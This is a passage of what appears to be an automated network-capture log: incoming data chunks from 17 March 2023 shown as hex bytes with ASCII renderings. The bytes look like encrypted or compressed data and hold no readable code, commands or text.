f7 83 4a 87 aa ad 05 a1 58 0c 93 21 69 63 da 12 Data Ascii: Y.N\U=nmkPSs^UI[G4/0""l$0?t x=myAnywY~=7\|;rb1z)@nhw9JsHuc+D<1~WV.gzg]:v]7d.C5+G.8{>8KI.isJX!ic
2023-03-17 14:07:55 UTC	2080	IN	Data Raw: 18 36 43 0a 26 58 5e 23 17 e4 44 59 e3 f8 f0 c9 4d 5c 4d d6 43 6b a9 a0 8f d6 6c 5d 69 eb e9 30 5d d1 e0 c6 ca 90 98 d5 20 ec ad ca e3 cb 57 c2 2b d2 f9 d0 1f ee 37 fb 17 ee 66 48 14 b1 05 c4 31 2f 25 69 ea 79 ea 39 1f 0b 5d c8 8c a5 12 d1 e2 ac eb 1b e0 d9 10 ff 13 5d bc 70 ce c2 62 a3 0a c6 17 e5 0a 20 b1 94 5a 09 15 24 8d a2 d8 0a f0 b1 74 ca 48 f7 79 e6 50 7f f0 72 ed b9 5b 67 c3 82 e0 9b f4 d5 79 b4 6a 8a 24 5e 7e 6d 68 a9 7b b2 06 c1 a3 a9 4f 12 3d 5f 42 6e e0 18 de be e4 40 23 53 24 78 5d 44 4c 8b d1 b7 39 68 50 7a e2 dd 90 71 28 e4 30 2a e2 db 4c 5c fc e2 0f 47 36 69 0e e8 db b5 3e 12 6e ad c2 4a e8 ab a8 84 e4 a9 34 17 3a a6 3e bb dd 21 fa 12 6b df c2 15 4a 7a 63 95 23 40 76 07 e7 b5 ca 8c c8 96 af 08 2a 17 36 55 36 20 e5 62 c7 3d 1d 97 81 d9 85 Data Ascii: 6C&X^#DYM\MCkl]i0] W+7fH1/%iy9]]pb Z$tHyPr[gyj$^~mh{O=_Bn@#S$x]DL9hPzq(0L\G6i>nJ4:>!kJzc#@v6U6 b=
2023-03-17 14:07:55 UTC	2096	IN	Data Raw: c8 c6 ce 37 ad 5a a2 56 03 b5 dd e8 8b fa e1 a5 45 14 9c 8f 53 c6 cf 8a 05 de b7 9c d3 82 9b 6b 12 68 36 85 5e d7 b1 15 47 f9 b1 1b 6c 49 78 eb 53 66 c8 2d 42 c0 b2 a7 31 07 83 2b 1f bf 83 95 42 06 f2 78 a5 b0 f0 c8 43 c7 9f 6d 08 a2 95 b1 e0 61 19 d8 b4 bb 60 92 7c c2 f9 0b 22 57 56 4c ef 21 fc 49 38 22 cc bf 72 f5 e9 f0 b0 54 49 da 70 8b 6c 79 9e 19 eb 89 be 7c 4d 65 b9 6b 43 07 ab 20 08 98 bb cc 7a 86 2e 84 5a e5 b1 f6 dc 8e a6 0e f3 c7 66 7f 1c bc 31 32 32 76 a3 73 da be f1 e6 45 fc 0c 75 c6 e7 57 7e eb 35 9a b6 bb eb 2d 4b 3b c7 cc 77 c5 97 f6 12 56 54 b5 a2 05 ab e6 12 9e 2b 5e 24 79 0b 4f ca 1a 0b ec 25 f2 41 ac bf 9f 81 e1 76 40 34 f3 f4 d6 61 36 4b 50 5c fa 33 91 6d a7 e2 7e 64 5c 70 6d 49 28 56 84 94 78 a6 c6 bc cf 14 f2 e5 c2 4a 92 60 2e ef 50 Data Ascii: 7ZVESkh6^GlIxSf-B1+BxCma`\|"WVL!I8"rTIply\|MekC z.Zf122vsEuW~5-K;wVT+^$yO%Av@4a6KP\3m~d\pmI(VxJ`.P
2023-03-17 14:07:55 UTC	2112	IN	Data Raw: 93 2a 72 97 4b fb 4e 65 f3 fc be 2b 84 7c 20 9e 2d ea dd ac 66 67 64 76 0a 95 39 87 48 8f 10 7b 0b 21 ac 71 86 47 10 6c 63 67 3e ee 92 cc 96 2e fd af d3 e1 6a 68 ca a1 52 57 cf e2 e8 1b a6 97 6d d0 e1 aa b2 fa 05 59 bc 49 07 e7 1a 94 9a 2c 2b b6 78 fd 71 6c 6f 64 97 91 cb c4 47 c5 09 44 c0 77 c6 27 66 f2 73 b7 25 2a e3 57 39 22 30 43 0b 94 5a e8 53 30 42 56 ae c5 d3 29 72 13 15 a2 3d 1e cf 4c c4 be f3 4d ce 7f 0e 6d 21 68 e1 76 d8 e8 9b ad aa 37 65 d7 84 b2 63 67 20 a4 cb 7b 6d eb 9c bb e3 b1 89 26 d7 02 3a 58 54 d8 d9 48 ac d5 c8 c9 b0 67 a6 bc 28 08 f4 0e 20 bb 7b 54 a5 60 1a 0a 33 d1 4c a4 43 f0 60 36 5a 88 6a 50 12 5d 65 41 43 d5 d4 cb fe 28 22 ac 29 1d ff 92 04 09 44 35 0f 8b ad e3 d7 35 71 2e 58 e5 a1 82 9e 1e 44 4f b9 8b 7b 9a 91 d5 97 31 81 db 58 Data Ascii: rKNe+\| -fgdv9H{!qGlcg>.jhRWmYI,+xqlodGDw'fs%W9"0CZS0BV)r=LMm!hv7ecg {m&:XTHg( {T`3LC`6ZjP]eAC(")D55q.XDO{1X
2023-03-17 14:07:55 UTC	2128	IN	Data Raw: 29 86 be 97 8e 27 42 f8 e4 10 cc 3c 8b c2 da 73 7d 6c 48 cb 36 e0 b5 c2 73 30 a3 e1 aa 6a 26 97 7b 7c 1c 4f ad 9c 94 09 fd 51 89 92 c4 a8 f8 bc 0a 65 29 36 ae 8d 51 19 24 2c a5 da ee 84 95 b2 1d ee 9b 22 35 98 b7 89 e1 32 95 cd c2 1a 89 00 22 18 e4 90 99 64 00 c9 5a d2 0c 41 f2 a9 c8 a2 a5 2e 86 41 c7 34 af 31 e4 74 79 39 88 64 5f 1e c9 2a 84 a4 f2 18 81 b5 bf c1 8d a5 cd 7f 90 5e 83 10 ed 0d e7 44 45 9e 7b 39 15 5e b3 26 78 b3 58 18 6d ab 9f 9e 21 2a cd 8f 47 42 a3 2c 45 34 67 05 0e 5b eb f0 f5 70 63 76 d9 29 59 90 2e e1 6f 2e 99 a7 9a 78 28 75 20 d5 67 66 11 c0 c7 0c 64 18 6f a8 84 59 f6 13 80 9c 7a 15 9c 9f 97 8e bd 59 df 82 d8 e3 e5 d7 20 8f bf 63 8b 45 76 c4 64 2c fe 58 09 42 57 04 82 1b 46 36 52 f5 89 5f 45 cb 20 c2 ce e2 6f a0 bc d7 02 66 36 43 a0 Data Ascii: )'B<s}lH6s0j&{\|OQe)6Q$,"52"dZA.A41ty9d_^DE{9^&xXm!GB,E4g[pcv)Y.o.x(u gfdoYzY cEvd,XBWF6R_E of6C
2023-03-17 14:07:55 UTC	2144	IN	Data Raw: 10 a0 77 db ee 18 d8 9b 29 b0 be 34 9f c1 bd a9 52 2f 04 ff 7a 4e 53 a6 88 d5 3e a6 c4 60 87 d9 05 b3 de d3 38 28 b9 8a a1 ea 4c f7 64 b4 41 9c 6c 98 86 79 0c e6 db 51 a9 48 20 45 53 c7 80 29 43 68 71 25 c0 a7 72 f2 dd ce 92 0f 01 74 a6 7e 96 50 c4 cf a5 9e 29 b6 f0 6b 10 bc 08 f8 d7 d2 1e dd a6 98 55 d6 df 50 ed 29 c7 49 d1 b9 13 19 c1 57 6a b5 d1 54 8d 91 ef 38 c2 14 cf dd 5f a0 38 6c 5d 03 f1 cf 67 01 6a 0c 7e 12 a9 8f 38 bb da ac bd 90 d1 c4 b8 99 43 eb 2b f7 0b 99 81 e1 41 5a 96 b1 88 89 e8 f5 83 3c 5c eb 54 3c d6 db 21 12 bc a4 7c 81 fd 19 aa b7 6e 4d 06 a8 7a 73 0a 86 1e 10 8d 30 44 f8 39 83 f4 a3 a3 7d 78 58 6b b7 16 07 61 06 1a f8 14 dd 36 ed 3c cd ad 87 24 2f 9a 14 55 03 f1 ea 2f 49 98 84 f9 e5 f9 a1 e3 33 31 2e 20 a7 59 2c d7 52 4f 17 03 e5 c0 Data Ascii: w)4R/zNS>`8(LdAlyQH ES)Chq%rt~P)kUP)IWjT8_8l]gj~8C+AZ<\T<!\|nMzs0D9}xXka6<$/U/I31. Y,RO
2023-03-17 14:07:55 UTC	2160	IN	Data Raw: 99 28 85 4d e8 0c 11 2f e2 19 b1 44 04 12 b7 46 d0 89 de 89 24 e8 7d 32 ae 6b a2 36 3c c2 8d ed 8b 85 5c c6 d7 44 09 d3 e5 24 ca 9f eb 81 de 93 ae 75 70 d1 b8 2b 57 d1 82 f7 5c 86 91 9e 24 29 83 88 2a 3c ab da fd 64 89 a8 92 05 5c bb 52 c7 f3 5d 66 45 c8 43 0f 86 82 9b 48 98 6f 01 09 53 ea 07 28 6d 8a 5c 46 18 e9 e8 61 fc 3e fe a2 1e 9c 8b 83 34 bb 02 6c 6f e3 72 2c b2 6b 18 a1 80 59 f9 aa dc 2f 94 36 65 b7 e4 fc b4 b8 5a e4 80 3e 01 f5 9f 45 8f db b1 be b7 91 df eb 8f 02 5f 4e 45 b3 ed 69 57 44 23 6c 50 e9 92 bc ee 2b ef 3e 6e 00 e0 c8 dd bf 9a ee 77 6a a8 3e 9f 6f ef 09 e6 73 a1 91 0d 5a 96 f7 1c 8d 2d e4 bd f6 21 7d 30 13 fa ef a7 c2 00 9d 6d b9 68 99 eb 44 19 6c 5c 77 23 a3 78 14 07 65 62 ef d6 96 7a d5 34 ca 83 de b0 c8 82 c7 98 06 0f 9c de 3c 8f b9 Data Ascii: (M/DF$}2k6<\D$up+W\$)*<d\R]fECHoS(m\Fa>4lor,kY/6eZ>E_NEiWD#lP+>nwj>osZ-!}0mhDl\w#xebz4<
2023-03-17 14:07:55 UTC	2176	IN	Data Raw: f2 6d e2 7c cd 44 11 05 04 c1 6a f7 b2 6b 1d 9d 83 3d 32 d6 44 17 98 4f a1 8c ae be 2f 9e 33 fe 1e 07 2c 40 c0 56 b6 67 d4 b0 77 33 7c 86 f2 09 10 65 35 a2 84 43 93 6a 2a 3a 8e 34 fb 17 d3 ec 99 77 21 75 b3 d3 86 4c 47 79 68 9b d7 b8 77 f9 22 20 69 78 3e e9 2a 7f 8d e6 93 6f 91 d6 91 1c 1a 3d 65 2d dd 8a d1 8b f9 ce c6 3f c1 df d3 bd 91 4c df 25 b1 54 af 79 d1 54 d9 73 0c 8e ed 96 35 d9 18 3a 99 0a 0c fa 12 09 b0 fb ea 1b 61 2d 7d d1 a1 81 78 b5 8b b7 48 b5 69 cb 14 91 95 06 53 14 3b ba 3a 8c 89 ed e2 4b 4f 70 93 2b e4 f1 72 18 30 bd 93 dd b2 58 0e 59 0d ec f0 9f 06 3d a1 cc a4 e9 65 bf d0 95 37 30 62 49 10 a9 4c 58 13 ff 91 ef 07 e6 eb 05 8a e3 91 17 dd f3 e8 bb 6d 55 ed f1 e0 ad 99 e3 85 19 b7 94 70 4f 65 5d c2 ba 3a 3d 6d 50 35 29 66 b9 fc 5e 42 85 57 Data Ascii: m\|Djk=2DO/3,@Vgw3\|e5Cj:4w!uLGyhw" ix>o=e-?L%TyTs5:a-}xHiS;:KOp+r0XY=e70bILXmUpOe]:=mP5)f^BW
2023-03-17 14:07:55 UTC	2192	IN	Data Raw: cc 24 4e ec 51 84 63 ca 02 6d a4 be ab 84 10 b7 29 5e 70 4b cb 5b 32 87 fa b7 c0 af 04 1b 25 ad c2 ef 46 94 ff 4e 36 29 eb 1b c8 5a 4b 52 3c 13 ec 91 46 0f ed b2 1e 15 4e fe 45 e1 ca 4b a0 9b cc 78 72 1f 97 4e fd e9 01 9d 21 08 97 cb 43 db ea 01 c3 ac d2 ad c4 5b 11 89 7d f3 03 64 64 61 98 7e 04 0e 55 b7 9f 12 f5 50 9c 47 47 76 8c a5 8e 47 87 0a 1f 1e e0 ca 76 b4 8b 6f cf 10 54 83 6f 0d 4c fe 81 74 90 f1 5b 36 35 25 7e 13 55 f3 4a 1d 11 da ef 92 da 60 48 d7 03 1b ed 2e 29 c0 6a f2 7a c7 ab b3 6d dd 97 9e 79 8d fe c7 4f af 9a 06 87 0c 91 56 d7 a8 91 21 7c 1f 59 90 8a b4 af ac 76 1e 38 1f 1c bc e9 b0 dd 82 2c 85 93 6d 78 ef e5 80 cc 3f cf e4 96 01 d9 53 70 53 f5 7f a0 32 bf 7e 45 71 67 3f 64 f9 b5 8c 35 60 50 ca 18 f7 17 25 81 fd fc 8c 1b d7 d3 d8 53 e0 af Data Ascii: $NQcm)^pK[2%FN6)ZKR<FNEKxrN!C[}dda~UPGGvGvoToLt[65%~UJ`H.)jzmyOV!\|Yv8,mx?SpS2~Eqg?d5`P%S
2023-03-17 14:07:55 UTC	2208	IN	Data Raw: 32 6b 2e 4f 37 6f ef 11 01 fc 7f 36 69 41 43 cf ad b8 59 53 24 b7 46 fc 96 d2 77 3d fa 99 55 1a 7c 33 7a 46 32 3d 03 bf be 0f 51 2c 57 a2 b9 bd 64 e2 6b e3 a2 60 b7 34 c5 3d 14 5e d3 1c a9 1f c4 60 54 c8 fb e8 6c d3 63 04 a3 f4 81 b0 43 dc 4f 44 b3 61 22 2b c2 ff 49 1e 59 b2 af 41 a9 bb 16 1c 1f 80 28 0d 1e 96 db 03 c7 57 99 14 a0 8c 0d 49 ba 76 fe 40 4c d2 14 c2 44 5d c4 8c cd 42 0b aa 6a e3 bd 14 6a 93 fb 59 ac 4a e1 29 52 20 6f 8d df 6d 81 fd 2e eb 57 e6 29 26 76 2c d8 e1 02 47 b8 2a 7d da 9f 18 97 78 d4 56 2f 5d 0b bc 4c c5 07 5f 45 e2 2a 58 22 d7 a0 32 cc d8 77 74 ac 96 03 7c 5f a4 8e 7e 89 30 b6 c8 22 5a 8e d7 5c 1f ae f8 3c 1b b7 cb 4e 22 06 8a 70 28 c9 3b 9d 21 36 56 28 a6 ae 38 8d bd e4 7d 80 70 c3 9d 6c 3c f3 cc 95 c2 db fa 4f 3e e7 90 d3 13 8e Data Ascii: 2k.O7o6iACYS$Fw=U\|3zF2=Q,Wdk`4=^`TlcCODa"+IYA(WIv@LD]BjjYJ)R om.W)&v,G}xV/]L_EX"2wt\|_~0"Z\<N"p(;!6V(8}pl<O>
2023-03-17 14:07:55 UTC	2224	IN	Data Raw: 82 17 15 34 ea a1 7a ea 60 39 41 67 e5 37 8e 5b a0 1e 08 55 52 4c c8 90 1b 09 2d ef 08 2e 2c c6 98 9f 33 84 4a e9 cb 7e 50 a7 db 6d ec 86 fe 8a a7 4f bc f8 db 81 f9 6e cf 27 01 4f 03 1a 4c f1 6f 8e 29 41 1c 5c cd 3c ba f6 26 34 a3 69 8b c7 9f db b2 f6 83 57 d3 16 9e 82 ba 51 2c 3f 68 07 ac ac 5d d5 a8 30 62 4f d5 f3 5c 34 87 bb 6b 7d 7b c9 ec cd f8 7f a8 b6 5b 91 73 72 28 db ce ca d8 52 80 f2 02 a0 31 51 cd b5 f9 25 47 f1 7b 90 d5 21 de d0 da 1d f8 f7 22 40 8a 3e fa 44 7d 89 67 14 70 bd df 60 49 9f 00 42 14 7b 77 93 c4 f8 e8 80 d2 51 c6 c0 74 f5 9e 74 7f 86 05 c4 7b d9 a9 11 d0 9a 3a 85 3a 3d fe 8c ec f5 4e 89 15 76 28 af 3a eb 87 3b ee ef 01 c6 44 af 28 e5 2e 05 5c c4 3e e2 4d 20 9c e1 2e 22 07 a9 53 3f 05 e9 2d a7 03 0c 7b 5a d9 67 59 57 cb d6 b8 0c f2 Data Ascii: 4z`9Ag7[URL-.,3J~PmOn'OLo)A\<&4iWQ,?h]0bO\4k}{[sr(R1Q%G{!"@>D}gp`IB{wQtt{::=Nv(:;D(.\>M ."S?-{ZgYW
2023-03-17 14:07:55 UTC	2240	IN	Data Raw: 23 04 ac f3 02 16 b5 39 fd 14 91 4f 4a 96 1d 3e bf ab 29 a4 91 74 cf f3 f4 b9 ac 2a 98 54 b4 c7 69 db 19 41 f9 72 f0 8e 87 93 23 2b d7 be 76 07 ae 44 3a 7c a8 d9 a7 f3 c8 27 d6 60 36 b5 fe 21 77 58 73 b5 d2 b6 b7 21 df 09 df 9b 08 b6 11 02 b3 05 f4 08 d5 df bd 19 f7 fa 21 6b 2f e9 d5 d6 d9 7c bb 63 fc 00 a5 3e 72 a7 a5 29 3c 7c 31 9f 24 17 5e 8b 97 30 b5 12 d3 dd 41 71 62 47 b2 a0 b0 d1 00 99 2b 57 8c 69 cd 9e 35 6d 86 91 16 75 35 96 2a 00 34 27 0c 6a f7 3c 6f 3c 43 24 23 72 3d ed cb 1a a7 75 8e 79 fb 0f ac 44 56 5e 45 58 db 35 18 c1 f5 0f a2 a7 d1 06 e3 0d b9 8f 14 10 7a 9c cb 06 f9 c3 f1 4d b0 c4 55 e3 af 12 99 36 94 a5 c3 38 f0 e0 48 88 a8 7d 12 47 14 24 57 ec 3e 95 96 39 94 73 97 61 64 e8 5b df 27 19 93 e5 e7 52 25 f3 c1 1a 2e 96 06 98 a3 0a e2 cd 4b Data Ascii: #9OJ>)tTiAr#+vD:\|'`6!wXs!!k/\|c>r)<\|1$^0AqbG+Wi5mu54'j<o<C$#r=uyDV^EX5zMU68H}G$W>9sad['R%.K
2023-03-17 14:07:55 UTC	2256	IN	Data Raw: 97 d9 e9 28 c4 7f a3 ac d2 2c 1c ba 09 52 cd 4c 74 63 33 ef 83 cb 93 f0 76 9b 86 4c 31 8d 6d 65 86 e2 b6 a8 cd a5 6b 49 68 0c 19 94 7e 11 1f b6 e9 a5 77 76 ce 2a f1 b9 a0 1c a1 c1 bd f1 4f a0 62 24 ed 37 98 fd 81 22 6e e0 7b a6 52 2c 76 7f c5 4c 20 30 22 6e 3d 48 1f 93 bc 17 7e fb 52 9c de e9 13 d1 77 9e b7 9b 27 10 f9 2e 6e 1a 5c b9 03 37 49 1c f9 e9 48 55 ce 20 62 ff d8 d3 6d 1c 27 a5 1c 2b b5 ee da 0c 8b 07 39 0a 81 65 fe ff 01 b8 4e e4 06 c3 73 90 fd 0c f2 79 3f 04 7a 12 77 4a 87 07 88 17 27 3f c4 b2 a8 2a 16 99 6c 40 05 5a f0 a6 28 b7 0e 0e 8f 17 03 57 27 f4 03 d2 73 8a 3b 44 11 b9 e4 c0 d9 8e 9e 26 ae 93 fe 44 ca 9e cb ea d7 8c 52 39 2c 39 45 ee c3 f5 e7 41 ac f7 0e 06 89 45 c4 a8 bc 06 0c d7 aa 39 88 36 59 14 2d 4a fe 8a cb 05 66 b4 83 b7 bb ad dd Data Ascii: (,RLtc3vL1mekIh~wvOb$7"n{R,vL 0"n=H~Rw'.n\7IHU bm'+9eNsy?zwJ'?l@Z(W's;D&DR9,9EAE96Y-Jf
2023-03-17 14:07:55 UTC	2272	IN	Data Raw: 4e 4f e5 15 43 fc 36 97 8e 85 b7 84 00 56 c0 88 60 ad 98 e3 0c 3c 86 18 4a 1d f1 d6 9c a7 fb d1 01 26 dc 00 d5 73 9f 4f 6a 72 23 52 92 61 a0 fc 5f 93 9d 56 ed be e5 83 7a 65 6b ed c8 46 22 6b 87 af 96 fb d8 e1 64 66 d8 11 e8 b8 1f dc 8f da e2 ef e6 cc 8c 36 d3 f0 48 76 e5 34 90 02 f9 21 f8 da 6d ff 09 e9 dc d2 bd b1 09 d1 68 b8 ce 7d c5 b6 89 7a cc 8e 8b 9a 69 ff 8b 7e ee f9 c0 e7 76 9a 7e a0 83 f1 48 ed 22 cd ed 53 63 0c 8b 42 24 94 ff 7c 4d 96 5d 88 c4 0f f5 d1 17 55 d2 a2 02 6f 60 99 67 2b 1d de 4c ba a2 cb 74 47 10 20 9a b0 f1 d8 b6 4b 01 9c 8d df 87 8f 7d 48 77 34 23 81 b6 c6 fd 0f b6 e8 14 ed 3d db a4 4b 1d 35 5c d2 d1 87 db 04 97 6b cd 77 c6 aa a4 87 40 06 51 49 33 da d7 85 99 b0 79 cb 23 5c ed 01 ee 01 96 1c fb 7f 64 8e cf 44 05 63 ed 91 b4 8e 45 Data Ascii: NOC6V`<J&sOjr#Ra_VzekF"kdf6Hv4!mh}zi~v~H"ScB$\|M]Uo`g+LtG K}Hw4#=K5\kw@QI3y#\dDcE
2023-03-17 14:07:55 UTC	2288	IN	Data Raw: 86 04 1c 72 85 d1 95 0a 50 96 bd 6c 20 bf 0a 3e 1a 23 df 36 95 07 ad c5 1c a8 d0 02 12 66 9c 4a f8 71 c7 a6 3f 33 97 35 f7 ab 96 f9 38 b6 2c 76 8f fb 8e 31 7f 00 86 ec 78 0d 80 7d 3a a0 c9 0a 4a d3 73 d1 ae f2 8d 20 12 9f d8 cd 4e 25 b5 33 51 38 34 fb 4c a9 1d 70 99 f1 c7 5a e2 8e 8b 51 43 45 da de 6e d7 ec 1d ee d2 95 4e 5b 4b 19 57 b7 46 ff 56 57 89 54 07 b4 7a 61 e0 5f 48 41 53 a7 ef 9f 6e 88 e9 a4 1e 87 2b 4f a0 2d ac 85 ef ef 9d b8 dd 7c 2c e6 d8 08 e2 fc f3 0e 3a 53 e0 03 74 a9 31 89 74 75 be c9 16 da a9 04 ef a1 cb 2c 0f 6d 99 c7 74 b8 09 5d f5 dd 79 75 5f c9 54 a4 0e d0 4b d3 f7 52 b3 1f ce 9c 18 53 74 81 b8 59 63 cb 4c 4e 95 c9 57 6e 71 36 91 f1 9b 56 d1 80 d9 e0 f0 1a d0 81 d0 27 45 dc 10 1e a4 b9 ea a2 54 6f c2 cb c8 ad 07 07 a4 8b 49 18 68 85 Data Ascii: rPl >#6fJq?358,v1x}:Js N%3Q84LpZQCEnN[KWFVWTza_HASn+O-\|,:St1tu,mt]yu_TKRStYcLNWnq6V'EToIh
2023-03-17 14:07:55 UTC	2304	IN	Data Raw: 94 42 84 16 7d dd a7 a2 cf 6d 21 88 d9 37 7e 08 73 37 26 e5 39 3b fe e0 b8 16 90 5d ad 19 d9 13 93 32 99 16 8b 4a 87 02 71 3a ae fa d0 f3 be e1 49 22 eb 7c 48 45 d5 4e e3 8e ca ec 44 5f 9b 9e b4 5a d2 3e fe c9 83 fb 8a d4 ce 9b a9 23 13 a2 1c 7d 18 a0 1f 4a ab 54 01 cd c6 af 1e 5e d0 21 01 b1 dd 4f 16 cb 5a 2d 39 5e 11 b2 25 0c 83 47 c4 a4 fb f4 56 57 0f fd b3 20 04 d0 7c a7 88 53 de 6d 86 a2 fd 8c ee 08 27 91 1a ec a2 4f 47 16 f9 c7 7b 0e c4 70 40 3c 0a f1 94 3e 15 c5 53 12 8e 06 71 59 a9 5c fb 05 80 88 e5 3e df 32 33 8d fd f8 08 c8 89 2e ec 09 30 2a 0f 78 15 4c 23 81 09 a6 a2 42 01 d5 c6 de 2b eb da 21 8e 89 c5 ec a9 1e dc 0f f4 6e 66 eb 7d 2b ae d3 66 7c e6 5a 5e 4e 54 9d 62 e9 e7 0e 11 c2 0f dc 43 e5 50 2c 63 89 55 16 7e ef 22 01 9e 58 09 9b 84 f3 bc Data Ascii: B}m!7~s7&9;]2Jq:I"\|HEND_Z>#}JT^!OZ-9^%GVW \|Sm'OG{p@<>SqY\>23.0*xL#B+!nf}+f\|Z^NTbCP,cU~"X
2023-03-17 14:07:55 UTC	2320	IN	Data Raw: e4 26 cf f1 b3 5f 55 8b a9 ba 34 02 9a 75 a6 66 d9 b7 85 e8 31 54 78 eb a3 8f 21 95 d2 66 7f 2a 5d a9 c4 d5 fe 90 f5 ba 0d 93 0f 49 0e 6d ea 58 4a eb c4 6d d4 36 fb 32 aa c4 d1 0e 85 37 cc 3d 22 0c 7a ff 54 13 7b da 9f e5 ba c1 dd c8 23 af d4 a9 39 75 fa fd e6 9f 64 d0 27 25 2a 9a 87 22 9e bf 15 cf 05 7b 56 cf 7e 06 4c 07 52 fa 0d d2 a2 d4 af ce e4 f3 b2 e8 af b8 9a dd 08 88 49 a1 c5 b9 9f 46 7c db a4 b4 9c b9 27 22 d1 85 74 a3 f0 ae 96 8b 4e 36 9a 49 60 6e 12 c3 04 8c 1e 90 94 d6 bc 03 90 57 b9 f7 61 73 20 4e f6 48 1c 6d 46 e2 af a4 25 fa 8d 8d 53 b0 fe 2c 72 0e 54 80 fb 38 98 84 ea 87 42 9f 65 82 ed c5 4e 51 5b ad 01 88 e6 8b 4d 68 31 c8 d6 c9 51 ea ad 44 56 86 9b 0a 38 61 62 86 1a 45 b2 57 31 35 61 53 34 1c 8c 12 ce bf 65 35 e6 e0 09 f1 32 ff 6e 31 26 Data Ascii: &_U4uf1Tx!f]ImXJm627="zT{#9ud'%"{V~LRIF\|'"tN6I`nWas NHmF%S,rT8BeNQ[Mh1QDV8abEW15aS4e52n1&
2023-03-17 14:07:55 UTC	2336	IN	Data Raw: fa 0f e1 77 1c 03 65 f5 7e 65 cc 0a b6 ee 3a da 01 d8 a4 75 8f 46 72 9b 6d a2 9a 44 bb 88 f0 fc e6 21 6a dd 2d 19 48 89 5a 32 aa e0 64 5d 62 a9 fa cb 54 13 e8 9a c2 d0 59 17 00 69 3c 5f f8 14 79 d4 be 39 c2 7f 09 4e 26 40 b9 69 2b 23 bb ef 9c 49 d2 5d 35 2c c6 b2 00 d3 ba 98 e8 68 2a 51 1a 89 f0 e0 32 81 0e 68 0e 38 f3 c9 02 99 18 00 b8 37 2b c7 c2 94 22 66 55 d4 d9 a4 d6 f5 fa 55 00 7b 9e 5f e3 6a fb e6 55 6e 17 44 15 1a d6 2f 4f 55 f3 13 b3 2f 0c 2b b7 3c ce 0e 56 90 8d 55 f4 1b e4 3f 3f c9 5c 3b d0 01 c3 f1 76 69 9c 51 3f c5 07 14 7f ca d4 26 b0 87 26 35 14 f3 90 ae e8 3e 2a 45 30 ca 3e aa 71 2c 8e ce a7 52 a1 08 69 e9 78 ad ac 9e a4 21 c0 e5 85 22 4e 9d 06 cf 29 cc c2 65 6a 99 3f 08 73 c6 fd 43 72 8e 16 fb 29 ac 06 e5 ec be 0b 1f 86 c8 cb 69 e2 b4 bd Data Ascii: we~e:uFrmD!j-HZ2d]bTYi<_y9N&@i+#I]5,hQ2h87+"fUU{_jUnD/OU/+<VU??\;viQ?&&5>E0>q,Rix!"N)ej?sCr)i
2023-03-17 14:07:55 UTC	2352	IN	Data Raw: d4 16 34 72 3d d7 d5 30 e5 1f a1 10 d0 84 2c 7a 1f 40 5a c4 f0 05 6c 85 c7 f9 95 ee 96 54 0e 1b 6b 04 ea db c3 cf 0e c4 29 35 ca 32 1a fc 41 ea e9 38 46 c8 ca 94 6c 67 3e ea 11 c8 1e b0 13 1d 1e bd 8d 78 12 11 38 15 2e 1d fb b0 a7 a8 22 d7 06 93 da b8 c9 3b 1f 85 eb 01 bd fe 48 f1 c7 7e 78 95 aa f6 2a e6 8e be ec 8f 79 f3 b9 68 51 58 6e 1f 74 82 ca 67 39 88 3c ed 73 8e 8a bb 35 8a 7d fa 9f 95 cb 47 38 2f f4 13 aa c4 51 e1 92 f2 ba 8a ea bf de 6b fa b3 e6 bf 1a 76 77 38 27 e2 eb 9d cb 02 45 9c 44 8e 5c ad ab 50 50 94 50 42 83 18 1c 5e db 97 77 16 1f 54 bb d7 5d b4 ba b4 d9 4d a5 f3 45 29 25 58 cc 56 d7 2a 48 45 63 9b 79 14 8b 6a 34 c0 33 79 55 d4 c8 54 c6 49 db 6f b8 6e e3 05 28 95 97 50 8e af 08 ea 07 1f 57 f7 48 02 81 78 18 86 5e ea 6e 1c 13 92 7e b0 ee Data Ascii: 4r=0,z@ZlTk)52A8Flg>x8.";H~xyhQXntg9<s5}G8/Qkvw8'ED\PPPB^wT]ME)%XVHEcyj43yUTIon(PWHx^n~
2023-03-17 14:07:55 UTC	2368	IN	Data Raw: 18 eb a2 16 33 49 e4 4b b7 18 32 f5 09 3c 8b b3 9c 86 34 7d 12 62 5a 16 97 c4 42 a7 41 07 55 a5 39 9d f0 56 cf fb 8c fd fb 48 e5 dc 76 f7 47 aa db c5 75 43 d6 93 3b 7e 8b bf ad fa b9 26 9b b6 c2 cd fd 53 5a 0f 05 9d 0c 87 69 65 a3 f4 67 04 f6 5b ab 8c d4 1d 8a b1 bc 79 9f 3a 69 a0 c1 51 77 a2 f0 64 c0 e3 6f 93 2f a9 b2 84 fd c7 c9 22 6b d6 11 95 89 21 b9 76 7d 74 02 4e 4d 7c 5c 77 88 b5 cd 26 5e ab 63 10 c9 e2 d6 2c c1 26 72 28 4e 05 cf 60 66 db 94 cd ff 99 21 a1 e9 1a 72 3a 34 33 92 0d d3 f1 5b ae 03 43 54 3a b3 e9 06 da da 07 ee 49 b1 22 5a 69 3b 62 be 82 4d a0 79 d1 3c 58 ce e4 81 9d 2a f1 fc 3d 0b fa de 04 c3 4d df d4 21 45 c2 c6 75 c9 f3 c6 6b d0 c6 b5 17 fe 0e f2 bd c3 df a7 b2 b3 98 60 7b 65 5c 86 3d 3c cd 2d d6 7f fb 11 14 45 76 68 75 ea 22 fd 68 Data Ascii: 3IK2<4}bZBAU9VHvGuC;~&SZieg[y:iQwdo/"k!v}tNM\|\w&^c,&r(N`f!r:43[CT:I"Zi;bMy<X*=M!Euk`{e\=<-Evhu"h
2023-03-17 14:07:55 UTC	2384	IN	Data Raw: 67 fd 66 ea f4 03 e8 32 73 bf c9 80 10 1d 6a 26 87 8c 64 d3 b4 28 ae 1a a6 c2 25 55 4e 5b cb f5 f6 c8 7c f8 8f ae db 69 a4 48 01 ef e6 4a 26 09 d3 84 fe de 8b dd d2 1a f0 d2 0f 90 d7 eb 6f af 6d 53 4b 41 98 3e d9 35 dc 79 62 b8 f4 e4 94 20 82 ae 13 08 a4 12 05 80 b5 a0 55 bd a8 9f 5a 3f 56 cf d5 8f 15 05 41 12 e0 d6 cc 9d a4 2b b8 98 c1 07 0c 13 00 f1 b9 ec 02 88 5d af 30 27 91 6b 41 26 fa 1b 3a 36 50 52 6a 58 30 27 f9 79 5b 78 63 75 e2 50 1e 2c 86 2a 1a 44 c2 2c 6d 8d 72 cd 55 a8 d4 97 3a 46 92 16 77 99 8b 07 1f f8 da dc 41 fc e3 58 e6 0f 68 6b 19 52 07 8c fb 82 75 39 35 ab 64 28 04 7a cf 8c ad 9e 91 14 42 fe 8a 3c 79 29 cf eb 7d 9c 52 37 14 69 dc d4 3a 5f 52 74 9f 